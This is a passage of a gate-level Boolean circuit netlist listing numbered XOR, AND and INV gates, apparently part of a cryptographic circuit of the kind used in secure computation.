26730 26684 26725 XOR +2 1 26730 26732 26729 XOR +2 1 26731 26729 26728 AND +2 1 26728 26684 26727 XOR +2 1 26728 26740 26633 XOR +2 1 26633 26669 26629 XOR +2 1 34149 26629 26632 XOR +2 1 26728 26678 26630 XOR +2 1 34147 26629 26628 XOR +2 1 26725 26726 26724 AND +2 1 26724 26732 26723 XOR +2 1 26730 26724 26722 XOR +2 1 26724 26682 26637 XOR +2 1 26724 26741 26636 XOR +2 1 26636 26738 26631 XOR +2 1 26631 26632 26715 XOR +2 1 26732 26722 26721 AND +2 1 26721 26729 26719 XOR +2 1 26721 26739 26691 XOR +2 1 26691 26685 26713 XOR +2 1 34143 26691 26674 XOR +2 1 26674 26637 26720 XOR +2 1 26727 26719 26718 AND +2 1 26718 26687 26677 XOR +2 1 26677 26679 26717 XOR +2 1 26718 26742 26635 XOR +2 1 26674 26635 26627 XOR +2 1 26664 26627 26634 XOR +2 1 26631 26634 26716 XOR +2 1 26677 26630 26714 XOR +2 1 26627 26628 26712 XOR +2 1 26713 26750 26711 AND +2 1 26720 26749 26710 AND +2 1 26723 34142 26709 AND +2 1 26709 26711 26690 XOR +2 1 26714 26744 26708 AND +2 1 26717 26756 26707 AND +2 1 26707 26708 26693 XOR +2 1 26727 26746 26706 AND +2 1 26706 26707 26644 XOR +2 1 26715 26747 26705 AND +2 1 26712 26745 26704 AND +2 1 26704 26693 26683 XOR +2 1 26704 26707 26659 XOR +1 1 26659 26656 INV +2 1 26704 26705 26655 XOR +2 1 26705 26683 26643 XOR +2 1 26716 26748 26703 AND +2 1 26713 26754 26702 AND +2 1 26720 26751 26701 AND +2 1 26723 26755 26700 AND +2 1 26700 26683 26649 XOR +1 1 26649 26646 INV +2 1 26714 26759 26699 AND +2 1 26699 26703 26675 XOR +2 1 26708 26699 26660 XOR +1 1 26675 26653 INV +2 1 26717 26752 26698 AND +2 1 26706 26698 26662 XOR +2 1 26727 26753 26697 AND +2 1 26653 26697 26652 XOR +2 1 26652 26690 26648 XOR +2 1 26715 26758 26696 AND +2 1 26696 26648 26651 XOR +2 1 26712 26760 26695 AND +2 1 26695 26696 26689 XOR +2 1 26701 26689 26671 XOR +2 1 26702 26671 26672 XOR +2 1 26710 26672 26676 XOR +2 1 26711 26676 26681 XOR +2 1 26693 26681 36067 XOR +2 1 26662 26689 26658 XOR +2 1 26690 26658 26661 XOR +2 1 26660 26661 26764 XOR +2 1 26653 26658 26657 XOR +2 1 26656 26657 26763 XOR +2 1 26681 26655 26762 XOR +2 1 26671 26648 26647 XOR +2 1 26646 26647 36065 XOR +2 1 26709 26676 26645 XOR +2 1 26644 26645 36066 XOR +2 1 36053 36066 9405 XOR +2 1 26672 26643 36068 XOR +2 1 26716 26757 26694 AND +2 1 26705 26694 26654 XOR +1 1 26654 26650 INV +2 1 26650 26651 26761 XOR +2 1 36063 36067 9396 XOR +2 1 9404 9396 9336 XOR +2 1 9405 9396 9376 XOR +2 1 36064 36068 9379 XOR +2 1 9379 36066 9186 XOR +2 1 9473 9405 35983 XOR +2 1 9419 9405 9364 XOR +2 1 9442 9379 9344 XOR +2 1 36056 36068 9391 XOR +1 1 9379 9475 INV +2 1 36061 36065 9397 XOR +2 1 9434 9397 9365 XOR +2 1 36052 9365 35974 XOR +2 1 35974 1429 34256 XOR +2 1 33048 9336 35993 XOR +2 1 35993 1410 34275 XOR +2 1 36067 9185 9374 XOR +2 1 36066 36065 9148 XOR +2 1 9475 33164 9342 XOR +2 1 9391 36059 9377 XOR +2 1 9376 9377 35968 XOR +2 1 35968 1435 34250 XOR +2 1 9380 36068 9345 XOR +2 1 9419 36065 9352 XOR +2 1 9352 9353 35982 XOR +2 1 35982 1421 34264 XOR +2 1 9475 36053 9339 XOR +2 1 9397 33041 9188 XOR +2 1 9394 36067 9351 XOR +2 1 9391 36052 9147 XOR +2 1 9147 9148 9467 XOR +2 1 9467 9399 35967 XOR +2 1 35967 1436 34249 XOR +1 1 9364 9362 INV +2 1 35983 1420 34265 XOR +2 1 34265 34264 9774 XOR +2 1 9186 9187 9451 XOR +2 1 9451 9445 35992 XOR +2 1 35992 1411 34274 XOR +2 1 9444 9379 9355 XOR +2 1 36056 9355 35979 XOR +2 1 35979 1424 34261 XOR +2 1 34261 34256 27737 XOR +2 1 9350 9351 35984 XOR +2 1 35984 1419 34266 XOR +2 1 34264 34266 9894 XOR +2 1 9399 9397 9338 XOR +2 1 9338 9339 9337 XOR +1 1 9337 35991 INV +2 1 35991 1412 34273 XOR +2 1 9391 33042 9145 XOR +2 1 9345 9346 35987 XOR +2 1 35987 1416 34269 XOR +2 1 34266 34269 9892 XOR +2 1 34269 34264 9891 XOR +1 1 26764 33089 INV +2 1 33089 33132 9146 XOR +2 1 9145 9146 9468 XOR +2 1 33157 33089 9429 XOR +2 1 9343 9429 9341 XOR +2 1 9341 9342 35989 XOR +2 1 9429 9380 9369 XOR +2 1 33042 9369 35972 XOR +2 1 35972 1431 34254 XOR +2 1 35989 1414 34271 XOR +2 1 34271 34273 26243 XOR +2 1 9429 9391 9190 XOR +2 1 33125 9190 35964 XOR +2 1 35964 1439 34246 XOR +2 1 33089 9354 35980 XOR +2 1 35980 1423 34262 XOR +1 1 26761 33094 INV +2 1 9375 33094 9373 XOR +2 1 9444 33094 9334 XOR +2 1 9334 9335 35994 XOR +2 1 33048 33094 9414 XOR +2 1 9414 36063 9348 XOR +2 1 35994 1409 34276 XOR +2 1 34274 34276 26246 XOR +2 1 26246 34275 26205 XOR +2 1 9373 9374 35969 XOR +2 1 35969 1434 34251 XOR +2 1 9445 9414 9361 XOR +2 1 33162 9361 35977 XOR +2 1 35977 1426 34259 XOR +2 1 34259 34261 27644 XOR +2 1 9348 9349 35985 XOR +2 1 35985 1418 34267 XOR +2 1 34267 34269 9798 XOR +2 1 9798 9894 9879 XOR +2 1 9894 9879 9870 AND +1 1 26762 33095 INV +2 1 33163 33095 9402 XOR +2 1 9414 9402 9372 XOR +2 1 33131 9372 35970 XOR +2 1 9475 33095 9370 XOR +2 1 9402 9380 9333 XOR +2 1 36064 9333 35995 XOR +2 1 35995 1408 34277 XOR +2 1 34275 34277 26244 XOR +2 1 34274 34277 26338 XOR +2 1 26243 26338 26330 XOR +2 1 26246 26244 26206 XOR +2 1 26243 26206 26328 XOR +2 1 34277 34271 26339 XOR +2 1 35970 1433 34252 XOR +2 1 34250 34252 29046 XOR +2 1 34246 34252 29050 XOR +2 1 34251 29050 29136 XOR +2 1 29046 34251 29005 XOR +2 1 34246 29005 29135 XOR +2 1 29135 34246 29121 AND +2 1 9370 9371 35971 XOR +2 1 35971 1432 34253 XOR +2 1 34251 34253 29044 XOR +2 1 34250 34253 29138 XOR +2 1 29044 29050 29133 XOR +2 1 29046 29044 29006 XOR +2 1 9402 33130 9357 XOR +2 1 9357 9358 9356 XOR +1 1 9356 35978 INV +2 1 35978 1425 34260 XOR +2 1 34254 34260 27650 XOR +2 1 27644 27650 27733 XOR +2 1 34259 27650 27736 XOR +2 1 33095 9347 35986 XOR +2 1 35986 1417 34268 XOR +2 1 34262 34268 9804 XOR +2 1 9798 9804 9887 XOR +2 1 34267 9804 9890 XOR +2 1 34266 34268 9800 XOR +2 1 9800 34267 9759 XOR +2 1 34262 9759 9889 XOR +2 1 9889 34262 9875 AND +2 1 9800 9798 9760 XOR +1 1 26763 33096 INV +2 1 33096 36057 9189 XOR +2 1 9188 9189 35966 XOR +2 1 35966 1437 34248 XOR +2 1 34248 34250 29140 XOR +2 1 29044 29140 29125 XOR +2 1 34249 34248 29020 XOR +2 1 34253 34248 29137 XOR +2 1 29140 29125 29116 AND +2 1 9394 33096 9131 XOR +2 1 9131 9132 9474 XOR +2 1 9474 9434 35981 XOR +2 1 35981 1422 34263 XOR +2 1 34263 34265 9797 XOR +2 1 9797 9892 9884 XOR +2 1 34263 34264 9814 XOR +2 1 9892 9814 9888 XOR +2 1 34262 9884 9883 XOR +2 1 9797 9760 9882 XOR +2 1 34263 9890 9886 XOR +2 1 34264 9797 9799 XOR +2 1 9804 9799 9880 XOR +2 1 9887 9880 9872 AND +2 1 34268 9799 9881 XOR +2 1 9892 9881 9871 AND +2 1 9870 9871 9773 XOR +2 1 9773 9774 9820 XOR +2 1 9871 9799 9801 XOR +2 1 9890 9886 9873 AND +2 1 34267 9799 9878 XOR +2 1 33164 33096 9409 XOR +2 1 9419 9409 9340 XOR +2 1 9442 9409 9367 XOR +2 1 9468 9409 35965 XOR +2 1 35965 1438 34247 XOR +2 1 34247 34249 29043 XOR +2 1 34248 29043 29045 XOR +2 1 34252 29045 29127 XOR +2 1 34251 29045 29124 XOR +2 1 29050 29045 29126 XOR +2 1 34247 29136 29132 XOR +2 1 29043 29138 29130 XOR +2 1 34246 29130 29129 XOR +2 1 34247 34248 29060 XOR +2 1 29060 29133 29131 XOR +2 1 29138 29060 29134 XOR +2 1 29043 29006 29128 XOR +2 1 34253 34247 29139 XOR +2 1 29130 29134 29123 AND +2 1 29123 29046 29049 XOR +2 1 29131 29129 29122 AND +2 1 29116 29122 29067 XOR +2 1 29139 29124 29120 AND +2 1 29120 29044 29048 XOR +2 1 29136 29132 29119 AND +2 1 29133 29126 29118 AND +2 1 29138 29127 29117 AND +2 1 29117 29045 29047 XOR +2 1 29049 29047 29053 XOR +2 1 34253 29053 29058 XOR +2 1 29067 29058 29114 XOR +2 1 29116 29117 29019 XOR +2 1 29019 29020 29066 XOR +2 1 29066 29048 29065 XOR +2 1 29119 29065 29113 XOR +2 1 29137 29128 29115 AND +2 1 29115 29118 29068 XOR +2 1 29115 29121 29072 XOR +2 1 29072 29044 29059 XOR +2 1 29067 29059 29111 XOR +2 1 29116 29068 29062 XOR +2 1 29048 29068 29022 XOR +2 1 29022 29047 29112 XOR +2 1 29053 29072 29021 XOR +2 1 34251 29021 29064 XOR +2 1 29119 29062 29018 XOR +2 1 34247 29018 29106 XOR +2 1 29114 29113 29110 AND +2 1 29110 29064 29105 XOR +2 1 29110 29112 29109 XOR +2 1 29111 29109 29108 AND +2 1 29108 29064 29107 XOR +2 1 29108 29120 29013 XOR +2 1 29013 29049 29009 XOR +2 1 34253 29009 29012 XOR +2 1 29108 29058 29010 XOR +2 1 34251 29009 29008 XOR +2 1 29105 29106 29104 AND +2 1 29104 29112 29103 XOR +2 1 29110 29104 29102 XOR +2 1 29104 29062 29017 XOR +2 1 29104 29121 29016 XOR +2 1 29016 29118 29011 XOR +2 1 29011 29012 29095 XOR +2 1 29112 29102 29101 AND +2 1 29101 29109 29099 XOR +2 1 29101 29119 29071 XOR +2 1 29071 29065 29093 XOR +2 1 34247 29071 29054 XOR +2 1 29054 29017 29100 XOR +2 1 29107 29099 29098 AND +2 1 29098 29067 29057 XOR +2 1 29057 29059 29097 XOR +2 1 29098 29122 29015 XOR +2 1 29054 29015 29007 XOR +2 1 29044 29007 29014 XOR +2 1 29011 29014 29096 XOR +2 1 29057 29010 29094 XOR +2 1 29007 29008 29092 XOR +2 1 29093 29130 29091 AND +2 1 29100 29129 29090 AND +2 1 29103 34246 29089 AND +2 1 29089 29091 29070 XOR +2 1 29094 29124 29088 AND +2 1 29097 29136 29087 AND +2 1 29087 29088 29073 XOR +2 1 29107 29126 29086 AND +2 1 29086 29087 29024 XOR +2 1 29095 29127 29085 AND +2 1 29092 29125 29084 AND +2 1 29084 29073 29063 XOR +2 1 29084 29087 29039 XOR +1 1 29039 29036 INV +2 1 29084 29085 29035 XOR +2 1 29085 29063 29023 XOR +2 1 29096 29128 29083 AND +2 1 29093 29134 29082 AND +2 1 29100 29131 29081 AND +2 1 29103 29135 29080 AND +2 1 29080 29063 29029 XOR +1 1 29029 29026 INV +2 1 29094 29139 29079 AND +2 1 29079 29083 29055 XOR +2 1 29088 29079 29040 XOR +1 1 29055 29033 INV +2 1 29097 29132 29078 AND +2 1 29086 29078 29042 XOR +2 1 29107 29133 29077 AND +2 1 29033 29077 29032 XOR +2 1 29032 29070 29028 XOR +2 1 29095 29138 29076 AND +2 1 29076 29028 29031 XOR +2 1 29092 29140 29075 AND +2 1 29075 29076 29069 XOR +2 1 29081 29069 29051 XOR +2 1 29082 29051 29052 XOR +2 1 29090 29052 29056 XOR +2 1 29091 29056 29061 XOR +2 1 29073 29061 36236 XOR +2 1 29042 29069 29038 XOR +2 1 29070 29038 29041 XOR +2 1 29040 29041 29144 XOR +2 1 29033 29038 29037 XOR +2 1 29036 29037 29143 XOR +2 1 29061 29035 29142 XOR +2 1 29051 29028 29027 XOR +2 1 29026 29027 36234 XOR +2 1 29089 29056 29025 XOR +2 1 29024 29025 36235 XOR +2 1 29052 29023 36237 XOR +2 1 29096 29137 29074 AND +2 1 29085 29074 29034 XOR +1 1 29034 29030 INV +2 1 29030 29031 29141 XOR +2 1 36061 9340 35990 XOR +2 1 35990 1413 34272 XOR +2 1 34272 26243 26245 XOR +2 1 34276 26245 26327 XOR +2 1 34275 26245 26324 XOR +2 1 34271 34272 26260 XOR +2 1 26338 26260 26334 XOR +2 1 34272 34274 26340 XOR +2 1 26244 26340 26325 XOR +2 1 34273 34272 26220 XOR +2 1 34277 34272 26337 XOR +2 1 26330 26334 26323 AND +2 1 26323 26246 26249 XOR +2 1 26339 26324 26320 AND +2 1 26320 26244 26248 XOR +2 1 26338 26327 26317 AND +2 1 26317 26245 26247 XOR +2 1 26249 26247 26253 XOR +2 1 34277 26253 26258 XOR +2 1 26340 26325 26316 AND +2 1 26316 26317 26219 XOR +2 1 26219 26220 26266 XOR +2 1 26266 26248 26265 XOR +2 1 26337 26328 26315 AND +2 1 34269 34263 9893 XOR +2 1 9893 9878 9874 AND +2 1 9874 9798 9802 XOR +2 1 9814 9887 9885 XOR +2 1 9885 9883 9876 AND +1 1 29142 33141 INV +1 1 29143 33142 INV +1 1 29144 33143 INV +1 1 29141 33148 INV +2 1 9870 9876 9821 XOR +2 1 9884 9888 9877 AND +2 1 9877 9800 9803 XOR +2 1 9803 9801 9807 XOR +2 1 34269 9807 9812 XOR +2 1 9821 9812 9868 XOR +2 1 9820 9802 9819 XOR +2 1 9873 9819 9867 XOR +2 1 9868 9867 9864 AND +2 1 9891 9882 9869 AND +2 1 9869 9872 9822 XOR +2 1 9870 9822 9816 XOR +2 1 9802 9822 9776 XOR +2 1 9776 9801 9866 XOR +2 1 9869 9875 9826 XOR +2 1 9826 9798 9813 XOR +2 1 9821 9813 9865 XOR +2 1 9873 9816 9772 XOR +2 1 34263 9772 9860 XOR +2 1 9807 9826 9775 XOR +2 1 34267 9775 9818 XOR +2 1 9864 9818 9859 XOR +2 1 9859 9860 9858 AND +2 1 9858 9875 9770 XOR +2 1 9770 9872 9765 XOR +2 1 9858 9816 9771 XOR +2 1 9858 9866 9857 XOR +2 1 9857 9889 9834 AND +2 1 9857 34262 9843 AND +2 1 9864 9858 9856 XOR +2 1 9866 9856 9855 AND +2 1 9864 9866 9863 XOR +2 1 9865 9863 9862 AND +2 1 9855 9863 9853 XOR +2 1 9862 9812 9764 XOR +2 1 9862 9874 9767 XOR +2 1 9862 9818 9861 XOR +2 1 9861 9853 9852 AND +2 1 9852 9876 9769 XOR +2 1 9861 9880 9840 AND +2 1 9852 9821 9811 XOR +2 1 9811 9764 9848 XOR +2 1 9811 9813 9851 XOR +2 1 9848 9893 9833 AND +2 1 9851 9886 9832 AND +2 1 9840 9832 9796 XOR +2 1 9851 9890 9841 AND +2 1 9840 9841 9778 XOR +2 1 9848 9878 9842 AND +2 1 9842 9833 9794 XOR +2 1 9841 9842 9827 XOR +2 1 9767 9803 9763 XOR +2 1 34267 9763 9762 XOR +2 1 9855 9873 9825 XOR +2 1 34263 9825 9808 XOR +2 1 9808 9769 9761 XOR +2 1 9798 9761 9768 XOR +2 1 9765 9768 9850 XOR +2 1 9850 9891 9828 AND +2 1 9850 9882 9837 AND +2 1 9833 9837 9809 XOR +1 1 9809 9787 INV +2 1 9808 9771 9854 XOR +2 1 9854 9883 9844 AND +2 1 9761 9762 9846 XOR +2 1 9846 9894 9829 AND +2 1 9854 9885 9835 AND +2 1 9825 9819 9847 XOR +2 1 9847 9888 9836 AND +2 1 9847 9884 9845 AND +2 1 9843 9845 9824 XOR +2 1 34269 9763 9766 XOR +2 1 9765 9766 9849 XOR +2 1 9849 9881 9839 AND +2 1 9849 9892 9830 AND +2 1 9829 9830 9823 XOR +2 1 9796 9823 9792 XOR +2 1 9824 9792 9795 XOR +2 1 9835 9823 9805 XOR +2 1 9836 9805 9806 XOR +2 1 9844 9806 9810 XOR +2 1 9843 9810 9779 XOR +2 1 9845 9810 9815 XOR +2 1 9827 9815 36210 XOR +2 1 36210 36214 10207 XOR +2 1 9778 9779 36209 XOR +2 1 36209 36213 10210 XOR +2 1 9787 9792 9791 XOR +2 1 9794 9795 9898 XOR +2 1 9839 9828 9788 XOR +1 1 9788 9784 INV +1 1 9898 32827 INV +2 1 9861 9887 9831 AND +2 1 9787 9831 9786 XOR +2 1 9786 9824 9782 XOR +2 1 9805 9782 9781 XOR +2 1 9830 9782 9785 XOR +2 1 9784 9785 9895 XOR +1 1 9895 32825 INV +2 1 32825 33090 10203 XOR +2 1 33157 9344 35988 XOR +2 1 35988 1415 34270 XOR +2 1 34270 26330 26329 XOR +2 1 34270 34276 26250 XOR +2 1 26250 26245 26326 XOR +2 1 26244 26250 26333 XOR +2 1 26260 26333 26331 XOR +2 1 34275 26250 26336 XOR +2 1 34271 26336 26332 XOR +2 1 34270 26205 26335 XOR +2 1 26331 26329 26322 AND +2 1 26316 26322 26267 XOR +2 1 26267 26258 26314 XOR +2 1 26335 34270 26321 AND +2 1 26315 26321 26272 XOR +2 1 26272 26244 26259 XOR +2 1 26267 26259 26311 XOR +2 1 26253 26272 26221 XOR +2 1 34275 26221 26264 XOR +2 1 26336 26332 26319 AND +2 1 26319 26265 26313 XOR +2 1 26333 26326 26318 AND +2 1 26315 26318 26268 XOR +2 1 26316 26268 26262 XOR +2 1 26248 26268 26222 XOR +2 1 26222 26247 26312 XOR +2 1 26319 26262 26218 XOR +2 1 34271 26218 26306 XOR +2 1 26314 26313 26310 AND +2 1 26310 26264 26305 XOR +2 1 26310 26312 26309 XOR +2 1 26311 26309 26308 AND +2 1 26308 26264 26307 XOR +2 1 26308 26320 26213 XOR +2 1 26213 26249 26209 XOR +2 1 34277 26209 26212 XOR +2 1 26308 26258 26210 XOR +2 1 34275 26209 26208 XOR +2 1 26305 26306 26304 AND +2 1 26304 26312 26303 XOR +2 1 26310 26304 26302 XOR +2 1 26304 26262 26217 XOR +2 1 26304 26321 26216 XOR +2 1 26216 26318 26211 XOR +2 1 26211 26212 26295 XOR +2 1 26312 26302 26301 AND +2 1 26301 26309 26299 XOR +2 1 26301 26319 26271 XOR +2 1 26271 26265 26293 XOR +2 1 34271 26271 26254 XOR +2 1 26254 26217 26300 XOR +2 1 26307 26299 26298 AND +2 1 26298 26267 26257 XOR +2 1 26257 26259 26297 XOR +2 1 26298 26322 26215 XOR +2 1 26254 26215 26207 XOR +2 1 26244 26207 26214 XOR +2 1 26211 26214 26296 XOR +2 1 26257 26210 26294 XOR +2 1 26207 26208 26292 XOR +2 1 26293 26330 26291 AND +2 1 26300 26329 26290 AND +2 1 26303 34270 26289 AND +2 1 26289 26291 26270 XOR +2 1 26294 26324 26288 AND +2 1 26297 26336 26287 AND +2 1 26287 26288 26273 XOR +2 1 26307 26326 26286 AND +2 1 26286 26287 26224 XOR +2 1 26295 26327 26285 AND +2 1 26292 26325 26284 AND +2 1 26284 26273 26263 XOR +2 1 26284 26287 26239 XOR +1 1 26239 26236 INV +2 1 26284 26285 26235 XOR +2 1 26285 26263 26223 XOR +2 1 26296 26328 26283 AND +2 1 26293 26334 26282 AND +2 1 26300 26331 26281 AND +2 1 26303 26335 26280 AND +2 1 26280 26263 26229 XOR +1 1 26229 26226 INV +2 1 26294 26339 26279 AND +2 1 26279 26283 26255 XOR +2 1 26288 26279 26240 XOR +1 1 26255 26233 INV +2 1 26297 26332 26278 AND +2 1 26286 26278 26242 XOR +2 1 26307 26333 26277 AND +2 1 26233 26277 26232 XOR +2 1 26232 26270 26228 XOR +2 1 26295 26338 26276 AND +2 1 26276 26228 26231 XOR +2 1 26292 26340 26275 AND +2 1 26275 26276 26269 XOR +2 1 26281 26269 26251 XOR +2 1 26282 26251 26252 XOR +2 1 26290 26252 26256 XOR +2 1 26291 26256 26261 XOR +2 1 26273 26261 36268 XOR +2 1 26242 26269 26238 XOR +2 1 26270 26238 26241 XOR +2 1 26240 26241 26344 XOR +2 1 26233 26238 26237 XOR +2 1 26236 26237 26343 XOR +2 1 26261 26235 26342 XOR +2 1 26251 26228 26227 XOR +2 1 26226 26227 36266 XOR +2 1 26289 26256 26225 XOR +2 1 26224 26225 36267 XOR +2 1 26252 26223 36269 XOR +2 1 26296 26337 26274 AND +2 1 26285 26274 26234 XOR +1 1 26234 26230 INV +2 1 26230 26231 26341 XOR +2 1 36267 36266 9916 XOR +2 1 36254 36267 10175 XOR +2 1 36257 36269 10161 XOR +2 1 10161 36253 9915 XOR +2 1 10161 33155 9913 XOR +2 1 36268 9953 10144 XOR +2 1 9915 9916 10237 XOR +1 1 26341 33081 INV +2 1 33153 33081 10184 XOR +1 1 26342 33082 INV +1 1 26343 33083 INV +1 1 26344 33084 INV +2 1 9846 9879 9838 AND +2 1 9838 9841 9793 XOR +1 1 9793 9790 INV +2 1 9838 9839 9789 XOR +2 1 9815 9789 9896 XOR +2 1 9838 9827 9817 XOR +2 1 9839 9817 9777 XOR +2 1 9834 9817 9783 XOR +1 1 9783 9780 INV +2 1 9780 9781 36208 XOR +1 1 36208 9950 INV +2 1 36209 9950 9949 XOR +2 1 9806 9777 36211 XOR +2 1 36211 36216 10155 XOR +1 1 10155 10248 INV +2 1 10248 36212 9948 XOR +2 1 9948 9949 10223 XOR +2 1 10248 36210 10074 XOR +2 1 10155 33092 9946 XOR +1 1 9896 32826 INV +2 1 32826 36215 10200 XOR +2 1 9790 9791 9897 XOR +1 1 9897 36207 INV +2 1 33091 9897 10077 XOR +2 1 34122 34124 23869 XOR +2 1 23946 23869 23872 XOR +2 1 23869 23867 23829 XOR +2 1 23866 23829 23951 XOR +2 1 23869 34123 23828 XOR +2 1 34118 23828 23958 XOR +2 1 23958 34118 23944 AND +2 1 23960 23951 23938 AND +2 1 23938 23944 23895 XOR +2 1 23895 23867 23882 XOR +2 1 23890 23882 23934 XOR +2 1 23938 23941 23891 XOR +2 1 23871 23891 23845 XOR +2 1 23845 23870 23935 XOR +2 1 23939 23891 23885 XOR +2 1 23942 23885 23841 XOR +2 1 34119 23841 23929 XOR +2 1 23872 23870 23876 XOR +2 1 23876 23895 23844 XOR +2 1 34123 23844 23887 XOR +2 1 34125 23876 23881 XOR +2 1 23890 23881 23937 XOR +2 1 23937 23936 23933 AND +2 1 23933 23935 23932 XOR +2 1 23934 23932 23931 AND +2 1 23931 23943 23836 XOR +2 1 23836 23872 23832 XOR +2 1 34123 23832 23831 XOR +2 1 34125 23832 23835 XOR +2 1 23931 23881 23833 XOR +2 1 23933 23887 23928 XOR +2 1 23928 23929 23927 AND +2 1 23933 23927 23925 XOR +2 1 23927 23885 23840 XOR +2 1 23927 23944 23839 XOR +2 1 23839 23941 23834 XOR +2 1 23834 23835 23918 XOR +2 1 23918 23950 23908 AND +2 1 23918 23961 23899 AND +2 1 23935 23925 23924 AND +2 1 23927 23935 23926 XOR +2 1 23926 34118 23912 AND +2 1 23926 23958 23903 AND +2 1 23924 23942 23894 XOR +2 1 34119 23894 23877 XOR +2 1 23877 23840 23923 XOR +2 1 23923 23952 23913 AND +2 1 23923 23954 23904 AND +2 1 23894 23888 23916 XOR +2 1 23916 23953 23914 AND +2 1 23912 23914 23893 XOR +2 1 23916 23957 23905 AND +2 1 23924 23932 23922 XOR +2 1 23931 23887 23930 XOR +2 1 23930 23922 23921 AND +2 1 23921 23890 23880 XOR +2 1 23921 23945 23838 XOR +2 1 23877 23838 23830 XOR +2 1 23830 23831 23915 XOR +2 1 23915 23948 23907 AND +2 1 23907 23908 23858 XOR +2 1 23915 23963 23898 AND +2 1 23867 23830 23837 XOR +2 1 23834 23837 23919 XOR +2 1 23919 23951 23906 AND +2 1 23880 23833 23917 XOR +2 1 23917 23947 23911 AND +2 1 23930 23949 23909 AND +2 1 23917 23962 23902 AND +2 1 23902 23906 23878 XOR +1 1 23878 23856 INV +2 1 23911 23902 23863 XOR +2 1 23930 23956 23900 AND +2 1 23856 23900 23855 XOR +2 1 23855 23893 23851 XOR +2 1 23899 23851 23854 XOR +2 1 23919 23960 23897 AND +2 1 23908 23897 23857 XOR +1 1 23857 23853 INV +2 1 23853 23854 23964 XOR +2 1 23898 23899 23892 XOR +2 1 23904 23892 23874 XOR +2 1 23874 23851 23850 XOR +2 1 23905 23874 23875 XOR +2 1 23913 23875 23879 XOR +2 1 23912 23879 23848 XOR +2 1 23914 23879 23884 XOR +2 1 23884 23858 23965 XOR +2 1 23880 23882 23920 XOR +2 1 23920 23959 23910 AND +2 1 23909 23910 23847 XOR +2 1 23847 23848 36034 XOR +2 1 23910 23911 23896 XOR +2 1 23896 23884 36035 XOR +2 1 28581 36035 9240 XOR +2 1 23907 23896 23886 XOR +2 1 23908 23886 23846 XOR +2 1 23875 23846 36036 XOR +2 1 36036 36051 9389 XOR +2 1 9443 9389 9245 XOR +2 1 23907 23910 23862 XOR +1 1 23862 23859 INV +2 1 23903 23886 23852 XOR +1 1 23852 23849 INV +2 1 23849 23850 36033 XOR +2 1 36033 36038 9439 XOR +2 1 23920 23955 23901 AND +2 1 23909 23901 23865 XOR +2 1 23865 23892 23861 XOR +2 1 23856 23861 23860 XOR +2 1 23893 23861 23864 XOR +2 1 23863 23864 23967 XOR +2 1 23859 23860 23966 XOR +2 1 36034 36039 9432 XOR +1 1 9432 9199 INV +2 1 9199 9412 9222 XOR +2 1 9459 9432 35951 XOR +2 1 9239 9240 35937 XOR +2 1 9439 9435 9200 XOR +2 1 35937 1466 34219 XOR +2 1 33129 9245 35932 XOR +2 1 35932 1471 34214 XOR +1 1 9389 9158 INV +2 1 9158 33093 9156 XOR +2 1 9158 36048 9159 XOR +2 1 9161 36033 9160 XOR +2 1 9159 9160 9462 XOR +2 1 9462 9421 35935 XOR +2 1 35935 1468 34217 XOR +1 1 9439 9215 INV +2 1 9215 9421 9224 XOR +2 1 9215 36048 9213 XOR +2 1 9213 9214 35950 XOR +2 1 35950 1453 34232 XOR +2 1 36035 36040 9424 XOR +2 1 9458 9424 35952 XOR +2 1 9424 9406 9221 XOR +2 1 35952 1451 34234 XOR +2 1 34232 34234 29280 XOR +1 1 9424 9196 INV +2 1 9389 36049 9162 XOR +2 1 9196 9421 9194 XOR +2 1 9194 9195 35960 XOR +2 1 35951 1452 34233 XOR +2 1 34233 34232 29160 XOR +2 1 36044 9200 35958 XOR +2 1 35958 1445 34240 XOR +2 1 9199 9431 9197 XOR +2 1 9197 9198 35959 XOR +2 1 35959 1444 34241 XOR +2 1 34241 34240 9634 XOR +2 1 36040 36034 9163 XOR +2 1 9162 9163 9461 XOR +2 1 9461 9412 35936 XOR +2 1 35936 1467 34218 XOR +1 1 23966 33037 INV +2 1 9168 33037 9243 XOR +2 1 9242 9243 35934 XOR +2 1 35934 1469 34216 XOR +2 1 34217 34216 9494 XOR +2 1 34216 34218 9614 XOR +2 1 33037 36037 9446 XOR +2 1 9446 9431 9226 XOR +2 1 9446 9443 9204 XOR +2 1 36033 9226 35942 XOR +2 1 35942 1461 34224 XOR +2 1 9460 9446 35949 XOR +2 1 35949 1454 34231 XOR +2 1 34231 34233 29183 XOR +2 1 34232 29183 29185 XOR +2 1 34231 34232 29200 XOR +1 1 9204 9202 INV +2 1 9202 9203 35957 XOR +2 1 35957 1446 34239 XOR +2 1 34239 34240 9674 XOR +2 1 34239 34241 9657 XOR +2 1 34240 9657 9659 XOR +1 1 23967 33038 INV +2 1 28583 33038 9157 XOR +2 1 9156 9157 9463 XOR +2 1 9463 9435 35933 XOR +2 1 35933 1470 34215 XOR +2 1 34215 34216 9534 XOR +2 1 34215 34217 9517 XOR +2 1 34216 9517 9519 XOR +2 1 34219 9519 9598 XOR +2 1 33038 33129 9447 XOR +2 1 9447 9388 9216 XOR +2 1 9447 9381 9205 XOR +2 1 33165 9205 35956 XOR +2 1 9447 9435 9228 XOR +2 1 33093 9216 35948 XOR +2 1 35948 1455 34230 XOR +2 1 35956 1447 34238 XOR +1 1 23964 33043 INV +2 1 33043 36041 9417 XOR +2 1 9417 33098 9211 XOR +2 1 9211 9212 35953 XOR +2 1 28582 33043 9235 XOR +2 1 33043 9221 35945 XOR +2 1 9417 9395 9220 XOR +2 1 35953 1450 34235 XOR +2 1 34235 29185 29264 XOR +2 1 9234 9235 9233 XOR +1 1 9233 35938 INV +2 1 35938 1465 34220 XOR +2 1 34218 34220 9520 XOR +2 1 9520 34219 9479 XOR +2 1 34214 34220 9524 XOR +2 1 9524 9519 9600 XOR +2 1 34219 9524 9610 XOR +2 1 34215 9610 9606 XOR +2 1 9610 9606 9593 AND +2 1 34214 9479 9609 XOR +2 1 9609 34214 9595 AND +2 1 9417 9412 9193 XOR +2 1 34220 9519 9601 XOR +1 1 23965 33044 INV +2 1 36043 33044 9232 XOR +2 1 33044 36042 9410 XOR +2 1 9410 33099 9210 XOR +2 1 9410 9406 9192 XOR +2 1 33171 9192 35962 XOR +1 1 9210 9208 INV +2 1 9410 9381 9219 XOR +2 1 36036 9219 35947 XOR +2 1 35947 1456 34229 XOR +2 1 34229 34224 27877 XOR +2 1 9208 9209 35954 XOR +2 1 35954 1449 34236 XOR +2 1 34236 29185 29267 XOR +2 1 34234 34236 29186 XOR +2 1 34230 34236 29190 XOR +2 1 29190 29185 